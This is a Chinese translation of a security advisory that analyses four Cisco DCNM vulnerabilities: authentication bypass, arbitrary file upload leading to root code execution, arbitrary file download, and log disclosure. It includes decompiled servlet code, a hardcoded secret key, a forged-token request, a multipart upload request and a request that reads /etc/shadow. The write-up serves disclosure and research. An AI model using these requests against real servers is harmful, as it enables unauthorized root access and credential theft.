思科DCNM多个漏洞细节分析

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

摘要

Cisco Data Center Network Manager(DCNM)是由Cisco提供的虚拟设备、Windows和Red Hat Linux的安装包。为了在全球范围内管理思科设备,DCNM部署在全球分布的数据中心。

DCNM 11.1(1)及以下受4个漏洞影响:绕过身份验证、任意文件上传(导致远程代码执行)、任意文件下载和通过日志下载敏感信息。

下表列出了每个漏洞的受影响版本:

捕获.PNG

捕获.PNG

身份验证绕过存在于10.4(2)版本,允许攻击者利用文件上传进行远程代码执行。

在11.0(1)版本中引入了身份验证,漏洞利用需要一个有效的非特权帐户。但是,在11.1(1)版中,Cisco删除了文件上传和文件下载servlet的身份验证,允许攻击者在没有任何身份验证的情况下利用漏洞!11.2(1)中修复了所有漏洞,敏感信息下载漏洞除外,其状态未知。

为了实现任意文件上传漏洞并进行远程代码执行,攻击者可以在Tomcat webapps文件夹中写入一个war文件。Apache Tomcat服务器运行为root,因此Java shell将以root身份运行。

供应商简介

“Cisco®Data Center Network Manager(DCNM)是针对所有NX-OS网络部署的综合管理解决方案,涵盖由Cisco数据中心中的LAN结构、SAN结构和IP结构(IPFM)网络。DCNM 11提供跨Cisco Nexus®和Cisco多层分布式交换(MDS)解决方案包括管理、控制、自动化、监控、可视化和故障排除。

DCNM 11支持Cisco Nexus交换机的多机多机基础设施管理。DCNM还支持使用Cisco MDS 9000系列和Cisco Nexus交换机存储功能进行存储管理。

DCNM 11为结构引导、SAN分区、设备别名管理、漏洞分析、SAN主机路径冗余和端口监控配置提供了接口。”

技术细节

漏洞1:身份认证绕过

Vulnerability: Authentication Bypass

CVE-2019-1619

Attack Vector: Remote

Constraints: None

Affected products / versions:

Cisco Data Center Network Manager 10.4(2) 及以下

DCNM在url/fm/pmreport中的“reportservlet”。滥用此servlet导致未经身份验证的攻击者可以在Web界面上获取有效的管理会话。

下面的代码片段显示了servlet的功能:


com.cisco.dcbu.web.client.performance.ReportServlet
  public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    Credentials cred = (Credentials)request.getSession().getAttribute("credentials");
    if((cred == null || !cred.isAuthenticated()) && !"fetch".equals(request.getParameter("command")) && !this.verifyToken(request)) {
      request.setAttribute("popUpSessionTO", "true");
    }
    this.doInteractiveChart(request, response);
  }

请求交给verifyToken函数进行下一步处理:


  private boolean verifyToken(HttpServletRequest httpServletRequest) {
    String token = httpServletRequest.getParameter("token");
    if(token == null) {
      return false;
    } else {
      try {
        FMServerRif serverRif = SQLLoader.getServerManager();
        IscRif isc = serverRif.getIsc(StringEncrypter.encryptString("DESede", (new Date()).toString()));
        token = URLDecoder.decode(token, "UTF-8");
        token = token.replace(' ', '+');
        FMUserBase fmUserBase = isc.verifySSoToken(token);
        if(fmUserBase == null) {
          return false;
        } else {
          Credentials newCred = new Credentials();
          int idx = fmUserBase.getUsername().indexOf(64);
          newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));
          newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword()));
          newCred.setRole(fmUserBase.getRole());
          newCred.setAuthenticated(true);
          httpServletRequest.getSession().setAttribute("credentials", newCred);
          return true;
        }
      } catch (Exception var8) {
        var8.printStackTrace();
        return false;
      }
    }
  }

fmUserBase fmUserBase=isc.verifyssotoken(令牌);

HTTP请求参数“token”被传递给iscrif.verifyssotoken,如果该函数返回有效的用户,则请求经过身份验证,凭证存储在会话中。

让我们继续了解iscrif.verifyssotoken中如何进行处理


 public FMUserBase verifySSoToken(String ssoToken) {
    return SecurityManager.verifySSoToken(ssoToken);
  }
 public static FMUserBase verifySSoToken(String ssoToken) {
    String userName = null;
    FMUserBase fmUserBase = null;
    FMUser fmUser = null;
    try {
      userName = getSSoTokenUserName(ssoToken);
      if(confirmSSOToken(ssoToken)) {
        fmUser = UserManager.getInstance().findUser(userName);
        if(fmUser != null) {
          fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
        }
        if(fmUserBase == null) {
          fmUserBase = DCNMUserImpl.getFMUserBase(userName);
        }
        if(fmUserBase == null) {
          fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken));
        }
      }
    } catch (Exception var5) {
      _Logger.info("verifySSoToken: ", var5);
    }
    return fmUserBase;
  }

从上面的代码中可以看到,用户名是从这里获得令牌

userName = getSSoTokenUserName(ssoToken);

继续进行代码分析:


public static String getSSoTokenUserName(String ssoToken) {
    return getSSoTokenDetails(ssoToken)[3];
  }
  private static String[] getSSoTokenDetails(String ssoToken) {
    String[] ret = new String[4];
    String separator = getTokenSeparator();
    StringTokenizer st = new StringTokenizer(ssoToken, separator);
    if(st.hasMoreTokens()) {
      ret[0] = st.nextToken();
      ret[1] = st.nextToken();
      ret[2] = st.nextToken();
      for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) {
        ;
      }
    }
    return ret;
  }

令牌是一个字符串,由分隔符分隔,包含四个部分,其中第四部分是用户名。

现在回到上面列出的securityManager.verifyssotoken,我们看到在调用getssotokenusername之后,调用confirmssotoken:


 public static FMUserBase verifySSoToken(String ssoToken) {
                (...)
      userName = getSSoTokenUserName(ssoToken);
      if(confirmSSOToken(ssoToken)) {
        fmUser = UserManager.getInstance().findUser(userName);
        if(fmUser != null) {
          fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
        }
                (...)
        }
  public static boolean confirmSSOToken(String ssoToken) {
    String userName = null;
    int sessionId = false;
    long sysTime = 0L;
    String digest = null;
    int count = false;
    boolean ret = false;
    try {
      String[] detail = getSSoTokenDetails(ssoToken);
      userName = detail[3];
      int sessionId = Integer.parseInt(detail[0]);
      sysTime = (new Long(detail[1])).longValue();
      if(System.currentTimeMillis() - sysTime > 600000L) {
        return ret;
      }
      digest = detail[2];
      if(digest != null && digest.equals(getMessageDigest("MD5", userName, sessionId, sysTime))) {
        ret = true;
        userNameTLC.set(userName);
      }
    } catch (Exception var9) {
      _Logger.info("confirmSSoToken: ", var9);
    }
    return ret;
  }

现在我们可以进一步理解令牌组成。它由以下部分组成:

sessionid+separator+systime+separator+digest+separator+username

什么是digest(指纹信息)?让我们看看getMessageDigest函数:


private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception {
      String input = userName + sessionid + sysTime + SECRETKEY;
      MessageDigest md = MessageDigest.getInstance(algorithm);
      md.update(input.getBytes());
      return new String(Base64.encodeBase64((byte[])md.digest()));
    }

该指纹信息是MD5值,由以下几个部分组成,中间有’.’符号分隔

userName + sessionid + sysTime + SECRETKEY

SECRETKEY是一串硬编码字符串:”POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF”;

总的来说,只要reportservlet接收到以下格式的令牌,它就会对任何请求进行身份验证:

sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username

sessionid可以由用户输入构造,系统时间可以通过获取HTTP头部服务器日期转换为毫秒获得,我们知道secretkey和用户名,所以现在我们可以作为任何用户进行身份验证。以下是一个示例:

GET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin

由于缺少servlet执行所需的参数,此请求将返回500个错误,但是它也将成功地向服务器验证我们的身份,并返回一个jsessionid cookie,并为管理用户提供有效会话。

请注意,用户必须是有效的。“admin”用户是一个很好的选择,因为它默认存在于所有系统中,也是系统中特权用户。

该漏洞利用不适用于11.0(1),但并不是因为漏洞被修复了,因为更新版本中存在完全相同的代码。

在11.0(1)中,reportservlet.verifytoken函数崩溃,出现异常:


private boolean verifyToken(HttpServletRequest httpServletRequest) {
        (...)
          Credentials newCred = new Credentials();
          int idx = fmUserBase.getUsername().indexOf(64);
          newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));
          newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword()));                    <--- exception occurs here
          newCred.setRole(fmUserBase.getRole());
          newCred.setAuthenticated(true);
          httpServletRequest.getSession().setAttribute("credentials", newCred);
          return true;
        }
      } catch (Exception var8) {
        var8.printStackTrace();
        return false;
      }
        (...)
  }

返回的异常为“com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException:javax.crypto.badpaddingException:given final block not properly padded”。

这将导致执行进入上面所示的catch块,函数将返回false,因此服务器返回的JSessionID cookie中不会存储凭证。

这应该是一个编码错误,思科更新了他们的密码加密方法,但未能更新他们自己的代码。除非不使用此reportservlet代码,否则这是一个偶然修复安全漏洞。

在11.0(1)版上,已经从war xml映射文件中删除了reportservlet,因此请求该URL现在返回一个HTTP404错误。

漏洞2:任意文件上传导致远程代码执行

Vulnerability: Arbitrary File Upload (leading to remote code execution)

CVE-2019-1620

Attack Vector: Remote

Constraints: Authentication to the web interface as an unprivileged user required EXCEPT for version 11.1(1), where it can be exploited by an unauthenticated user

Affected products / versions:Cisco Data Center Network Manager 11.1(1) 及以下

漏洞存在于DCNM在/fm/file upload中的文件上载servlet(fileuploadservlet)。经过身份验证的用户可以利用此servlet将文件上载到任意目录,最终实现远程代码执行。

此servlet的代码如下所示:


com.cisco.dcbu.web.client.reports.FileUploadServlet
  public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    this.doGet(request, response);
  }
  public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
    if (cred == null || !cred.isAuthenticated()) {
      throw new ServletException("User not logged in or Session timed out.");
    }
    this.handleUpload(request, response);
  }

上面显示的代码很简单,请求被传递到handleupload:


private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    response.setContentType(CONTENT_TYPE);
    PrintWriter out = null;
    ArrayList<String> allowedFormats = new ArrayList<String>();
    allowedFormats.add("jpeg");
    allowedFormats.add("png");
    allowedFormats.add("gif");
    allowedFormats.add("jpg");
    allowedFormats.add("cert");
    File disk = null;
    FileItem item = null;
    DiskFileItemFactory factory = new DiskFileItemFactory();
    String statusMessage = "";
    String fname = "";
    String uploadDir = "";
    ListIterator iterator = null;
    List items = null;
    ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
    TransformerHandler hd = null;
    try {
      out = response.getWriter();
      StreamResult streamResult = new StreamResult(out);
      SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance();
      items = upload.parseRequest(request);
      iterator = items.listIterator();
      hd = tf.newTransformerHandler();
      Transformer serializer = hd.getTransformer();
      serializer.setOutputProperty("encoding", "UTF-8");
      serializer.setOutputProperty("doctype-system", "response.dtd");
      serializer.setOutputProperty("indent", "yes");
      serializer.setOutputProperty("method", "xml");
      hd.setResult(streamResult);
      hd.startDocument();
      AttributesImpl atts = new AttributesImpl();
      hd.startElement("", "", "response", atts);
      while (iterator.hasNext()) {
        atts.clear();
        item = (FileItem)iterator.next();
        if (item.isFormField()) {
          if (item.getFieldName().equalsIgnoreCase("fname")) {
            fname = item.getString();
          }
          if (item.getFieldName().equalsIgnoreCase("uploadDir") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) {
            uploadDir = ClientCache.getJBossHome() + File.separator + "server" + File.separator + "fm" + File.separator + "conf";
          }
          atts.addAttribute("", "", "id", "CDATA", item.getFieldName());
          hd.startElement("", "", "field", atts);
          hd.characters(item.getString().toCharArray(), 0, item.getString().length());
          hd.endElement("", "", "field");
          atts.clear();
          continue;
        }
        ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream());
        Iterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream);
        ImageReader imageReader = null;
        if (imageReaders.hasNext()) {
          imageReader = imageReaders.next();
        }
        try {
          String imageFormat = imageReader.getFormatName();
          String newFileName = fname + "." + imageFormat;
          if (allowedFormats.contains(imageFormat.toLowerCase())) {
            FileFilter fileFilter = new FileFilter();
            fileFilter.setImageTypes(allowedFormats);
            File[] fileList = new File(uploadDir).listFiles(fileFilter);
            for (int i = 0; i < fileList.length; ++i) {
              new File(fileList[i].getAbsolutePath()).delete();
            }
            disk = new File(uploadDir + File.separator + fname);
            item.write(disk);
            Calendar calendar = Calendar.getInstance();
            SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
            statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
          }
          imageReader.dispose();
          imageInputStream.close();
          atts.addAttribute("", "", "id", "CDATA", newFileName);
        }
        catch (Exception ex) {
          this.processUploadedFile(item, uploadDir, fname);
          Calendar calendar = Calendar.getInstance();
          SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
          statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
          atts.addAttribute("", "", "id", "CDATA", fname);
        }
        hd.startElement("", "", "file", atts);
        hd.characters(statusMessage.toCharArray(), 0, statusMessage.length());
        hd.endElement("", "", "file");
      }
      hd.endElement("", "", "response");
      hd.endDocument();
      out.close();
    }
    catch (Exception e) {
      out.println(e.getMessage());
    }
  }

handleupload更复杂,函数采用一个带有参数“uploaddir”、参数“fname”的HTTP表单,然后取最后一个表单对象并将其写入“uploaddir/fname”。

函数中有一个验证:该文件必须是有效的映像,并且具有下列扩展名之一:

allowedFormats.add("jpeg");
allowedFormats.add("png");
allowedFormats.add("gif");
allowedFormats.add("jpg");
allowedFormats.add("cert");

但是,如果仔细观察,可以上传任意内容。这是因为在到达第二个(内部)Try-Catch块之前不会发生任何错误。


try {
          String imageFormat = imageReader.getFormatName();
  ...

如果我们发送的二进制内容不是文件,则会导致ImageReader引发异常,并发送到catch:


catch (Exception ex) {
          this.processUploadedFile(item, uploadDir, fname);
          Calendar calendar = Calendar.getInstance();
          SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
          statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
          atts.addAttribute("", "", "id", "CDATA", fname);
  ...

这意味着文件内容、upload dir及其名称将被发送到processuploadedfile。


private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception {
    try {
      int offset;
      int contentLength = (int)item.getSize();
      InputStream raw = item.getInputStream();
      BufferedInputStream in = new BufferedInputStream(raw);
      byte[] data = new byte[contentLength];
      int bytesRead = 0;
      for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) {
      }
      in.close();
      if (offset != contentLength) {
        throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes");
      }
      FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname);
      out.write(data);
      out.flush();
      out.close();
    }
    catch (Exception ex) {
      throw new Exception("FileUploadSevlet processUploadFile failed: " + ex.getMessage());
    }
  }

这个函数完全忽略了内容,并简单地将文件内容写入到我们指定的文件名和文件夹中。

总之,如果我们发送任何不是文件的二进制内容,我们可以以root权限将其写入任何目录中的任何文件。

发送如下请求:


POST /fm/fileUpload HTTP/1.1
Host: 10.75.1.40
Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
Content-Length: 429
Content-Type: multipart/form-data; boundary=---------------------------9313517619947
-----------------------------9313517619947
Content-Disposition: form-data; name="fname"
owned
-----------------------------9313517619947
Content-Disposition: form-data; name="uploadDir"
/tmp/
-----------------------------9313517619947
Content-Disposition: form-data; name="filePath"; filename="whatever"
Content-Type: application/octet-stream
<any text or binary content here>
-----------------------------9313517619947--
The server will respond with:
HTTP/1.1 200 OK
X-FRAME-OPTIONS: SAMEORIGIN
Content-Type: text/xml;charset=utf-8
Date: Mon, 03 Sep 2018 00:57:11 GMT
Connection: close
Server: server
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE response SYSTEM "response.dtd">
<response>
<field id="fname">owned</field>
<field id="uploadDir">/tmp/</field>
<file id="whatever">File successfully written to server at 09.02.18 05:57:11 PM</file>
</response>

我们的文件已写入服务器:


[[email protected]_vm ~]# ls -l /tmp/
(...)
-rw-r--r--  1 root          root               16 Sep  2 17:57 owned
(...)

最后,如果我们将一个war文件写入jboss部署目录,服务器将把war文件部署为根目录,允许攻击者实现远程代码执行。

利用此漏洞的metasploit模块已随本公告发布。

漏洞3:任意文件下载

Vulnerability: Arbitrary File Download

CVE-2019-1621

Attack Vector: Remote

Constraints: 非特权用户在未经身份认证的用户可在web界面进行任意文件下载

Affected products / versions:Cisco Data Center Network Manager 11.1(1) 及以下

漏洞存在于DCNM /fm/downloadservlet。经过身份验证的用户可以用此servlet以root权限下载任意文件。

下面的代码显示servlet请求处理代码:


public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
    if (cred == null || !cred.isAuthenticated()) {
      throw new ServletException("User not logged in or Session timed out.");
    }
    String showFile = (String)request.getAttribute("showFile");
    if (showFile == null) {
      showFile = request.getParameter("showFile");
    }
    File f = new File(showFile);
    if (showFile.endsWith(".cert")) {
      response.setContentType("application/octet-stream");
      response.setHeader("Pragma", "cache");
      response.setHeader("Cache-Control", "cache");
      response.setHeader("Content-Disposition", "attachment; filename=fmserver.cert;");
    } else if (showFile.endsWith(".msi")) {
      response.setContentType("application/x-msi");
      response.setHeader("Pragma", "cache");
      response.setHeader("Cache-Control", "cache");
      response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
    } else if (showFile.endsWith(".xls")) {
      response.setContentType("application/vnd.ms-excel");
      response.setHeader("Pragma", "cache");
      response.setHeader("Cache-Control", "cache");
      response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
    }
    ServletOutputStream os = response.getOutputStream();
    FileInputStream is = new FileInputStream(f);
    byte[] buffer = new byte[4096];
    int read = 0;
    try {
      while ((read = is.read(buffer)) > 0) {
        os.write(buffer, 0, read);
      }
      os.flush();
    }
    catch (Exception e) {
      LogService.log(LogService._WARNING, e.getMessage());
    }
    finally {
      is.close();
    }
  }
}

它接受一个“showfile”请求参数,读取该文件并返回给用户。下面是servlet的一个示例:


Request:
GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1
Host: 10.75.1.40
Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
Response:
HTTP/1.1 200 OK
root:$1$(REDACTED).:17763:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
(...)

要下载的文件是/usr/local/cisco/dcm/fm/conf/server.properties,它包含数据库凭据和sftp根密码,这两个文件都用源代码中硬编码的密钥加密。

漏洞4:敏感信息泄露(日志文件下载)

Vulnerability: Information Disclosure (log files download)

CVE-2019-1622

Attack Vector: Remote

Constraints: None

Affected products / versions:

Cisco Data Center Network Manager 11.1(1) and below

漏洞存在与DCNM /fm/log/fmlogs.zip logzipperservlet。未经身份验证的攻击者可以访问此servlet,它将以zip格式返回/usr/local/cisco/dcm/fm/logs/*中的所有日志文件,这些文件提供有关本地目录、软件版本、身份验证错误、详细的堆栈跟踪等信息。

实现示例:GET /fm/log/fmlogs.zip

修补情况

漏洞1升级到DCNM 11.0(1)及以上;漏洞2、3升级到DCNM 11.2(1)及以上;漏洞4还未修补。

参考

[1] https://www.accenture.com/us-en/service-idefense-security-intelligence

[2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html

[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass

[4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex

[5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld

[6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl

*参考来源:agileinfosec,Kriston编译整理,转载请注明来自 FreeBuf.COM

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享